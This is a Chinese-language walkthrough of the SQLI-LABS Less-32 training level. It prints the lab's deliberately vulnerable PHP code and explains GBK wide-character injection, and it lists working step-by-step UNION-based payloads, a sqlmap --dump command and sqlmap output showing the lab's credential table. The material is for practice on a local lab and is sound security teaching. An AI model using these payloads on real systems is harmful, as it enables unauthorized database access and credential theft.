目錄
一、寬字符注入
二、代碼審計
1、代碼審計
2、SQL注入安全性分析
三、滲透實戰
1、進入靶場
2、id=1探測
3、id=%df'-- 探測
4、手工注入
(1)獲取列數
(2)獲取回顯位
(3)獲取數據庫名
(4)獲取表名
(5)獲取列名
(6)獲取數據
5、sqlmap滲透實戰?
SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節對第32關Less 32基于寬字符的SQL注入關卡進行滲透實戰。??
一、寬字符注入
寬字節注入是一種利用數據庫字符集轉換風險的SQL注入技術,主要影響使用GBK、BIG5等多字節字符集的系統。其核心原理如下所示。
-
當系統使用addslashes或mysql_real_escape_string轉義單引號時,會添加反斜杠(\')。
-
在GBK編碼中,%df%5c可組成一個合法漢字"運"。
-
攻擊者構造%df',轉義后變為%df%5c%27,被解析為"運'"使單引號逃逸。
二、代碼審計
1、代碼審計
本關卡Less32是基于寬字符型的SQL注入關卡,打開對應的源碼index.php,如下所示。
Less32關卡的源碼功能是簡單基于id的查詢頁面,詳細注釋過的源碼如下所示。
<?php
// 引入數據庫連接配置
include("../sql-connections/sqli-connect.php");/*** 自定義轉義函數:模擬繞過addslashes()的場景* @param string $string 待轉義的字符串* @return string 轉義后的字符串*/
function check_addslashes($string) {// 轉義反斜杠:將單個反斜杠替換為兩個反斜杠(\\\\ → 轉義后為\\)$string = preg_replace('/' . preg_quote('\\') . '/', '\\\\\\', $string); // 轉義單引號:將單引號'替換為\'(通過添加反斜杠)$string = preg_replace('/\'/i', '\\\'', $string); // 轉義雙引號:將雙引號"替換為\"$string = preg_replace('/"/', '\\"', $string); return $string;
}// 處理GET請求中的id參數
if (isset($_GET['id'])) {$id = check_addslashes($_GET['id']); // 調用自定義轉義函數// echo "The filtered request is :" .$id . "<br>"; // 調試用,輸出過濾后的參數// 記錄id參數到日志文件$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:' . $id . "\n");fclose($fp);// 設置數據庫字符集為gbk(關鍵風險:可能引發寬字符注入)mysqli_query($con1, "SET NAMES gbk");// 構造SQL查詢(直接拼接轉義后的id參數)$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) {// 成功時顯示用戶信息echo '<font color= "#00FF00">';echo 'Your Login name:' . $row['username'];echo "<br>Your Password:" . $row['password'];echo "</font>";} else {// 失敗時顯示數據庫錯誤(可用于錯誤回顯注入)echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 暴露SQL語法錯誤,幫助攻擊者調試Payloadecho "</font>";}
} else {// 未傳遞id參數時的提示echo "Please input the ID as parameter with numeric value";
}
?><!-- 頁面底部提示:顯示轉義后的字符串及其十六進制表示 -->
<font size='4' color= "#33FFFF">
<?php
function strToHex($string) {$hex = '';for ($i = 0; $i < strlen($string); $i++) {$hex .= dechex(ord($string[$i])); // 將字符串轉換為十六進制}return $hex;
}
echo "Hint: The Query String you input is escaped as : " . $id . "<br>";
echo "The Query String you input in Hex becomes : " . strToHex($id) . "<br>";
?>
</font>
本關卡通過模擬addslashes()轉義邏輯,結合gbk字符集演示了寬字符注入的原理。核心風險在于轉義后的反斜杠與寬字符組合導致單引號逃逸,核心功能如下所示。
- 自定義轉義函數:使用check_addslashes函數模擬 addslashes() 的轉義邏輯,對單引號、雙引號和反斜杠進行轉義(如 ' → \',\ → \\)。
- 參數處理:從 GET 參數獲取
id
,調用轉義函數后直接拼接?SQL 查詢語句中(SELECT * FROM users WHERE id='$id'
)。 - 數據庫配置:顯式設置字符集為?
gbk
,為寬字符注入創造條件。 - 錯誤回顯:當 SQL 查詢失敗時,返回數據庫錯誤信息(如語法錯誤),可用于注入攻擊的錯誤提示。
- 調試提示:頁面底部顯示轉義后的字符串及其十六進制形式,幫助理解參數處理過程。
2、SQL注入安全性分析
本關卡具有寬字符注入風險,具體分析如下所示。
-
轉義邏輯缺陷:
- 轉義函數
check_addslashes()
將單引號'
轉義為\'
(反斜杠 + 單引號),故而本關卡無法通過普通的單引號閉合進行SQL注入。 - 但當數據庫字符集為
gbk
(或其他支持多字節字符的編碼)時,反斜杠\
(ASCII 碼為?5C
)與后續字符可能組成一個寬字符,導致轉義的單引號被 “吃掉”。
- 轉義函數
- 注入流程:
- 輸入 payload:
%df'
(URL 編碼為?%df%27
)。 - 單引號轉義后變為:
\'
?URL 編碼為?%5C%27,%df'轉移后變為了%df%5C%27
- 在gbk字符集中,%df%5C 被解析為一個寬字符,%27(單引號)被保留。
- 輸入 payload:
三、滲透實戰
1、進入靶場
進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。
http://192.168.59.1/sqli-labs/
點擊進入Page2,如下圖紅框所示。?
其中第32關在進階挑戰關卡“SQLi-LABS Page-2 (Adv Injections)”中,?點擊進入如下頁面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
點擊上圖紅框的Less32關卡,進入到靶場的第32關卡寬字符型注入關,頁面提示“Please input the ID as parameter with numeric value”,并且在頁面下方提示HINT信息“Hint: The Query String you input is escaped as :The Query String you input in Hex becomes?”,具體如下所示。
http://192.168.59.1/sqli-labs/Less-32/
2、id=1探測
3、id=%df'-- 探測
注入語句為%df' --空格,由于空格的URL編碼為加號符號,故而完整滲透URL如下所示。
http://192.168.59.1/sqli-labs/Less-32/?id=1%df' --+
如下所示構造閉合成功,頁面顯示用戶名和密碼并參考HINT輸出了寬字符內容。?
4、手工注入
(1)獲取列數
如下所示,order by為3時滲透成功,但是order by為4時提示列不存在,故而共有3列。
http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-32/?id=1%df' ORDER BY 4--+
(2)獲取回顯位
如下所示,回顯位為2和3,接下來我們使用第2個回顯位進行滲透。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,2,3--+
(3)獲取數據庫名
如下所示,數據庫的名稱為“security”。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,DATABASE(),3--+
(4)獲取表名
如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+
(5)獲取列名
如下所示,數據庫users表的列名分別為id,username,password。特別注意這里users表使用十六進制0x7573657273表示,因為'users'會被轉義,此時滲透成功。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME=0x7573657273--+
(6)獲取數據
最后通過上一步獲取到的列名來提取users表的內容,這里符號:也被替換為0x3a,如下所示滲透成功。
http://192.168.59.1/sqli-labs/Less-32/?id=-1%df' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,0x3a,password)),3 FROM users--+
5、sqlmap滲透實戰?
?我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),其中-u參數指定目標URL地址,在id=1后面增加%df'的目標是指定閉合方式,星號*放在id=1%df'后則是指定注入點為id,完整的SQL注入命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-32/?id=1%df'*" --current-db --batch --dump
sqlmap滲透成功,可以通過報錯法、時間盲注方法滲透成功,具體信息如下所示。
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1318 HTTP(s) requests:
---
Parameter: #1* (URI)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND GTID_SUBSET(CONCAT(0x7176767871,(SELECT (ELT(5642=5642,1))),0x7178766b71),5642)-- HYRVType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-32/?id=1%df' AND (SELECT 5958 FROM (SELECT(SLEEP(5)))kwSY)-- AhYa
---
[22:55:13] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[22:55:13] [INFO] fetching current database
[22:55:13] [INFO] retrieved: 'security'
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
+----+---------------+----------------+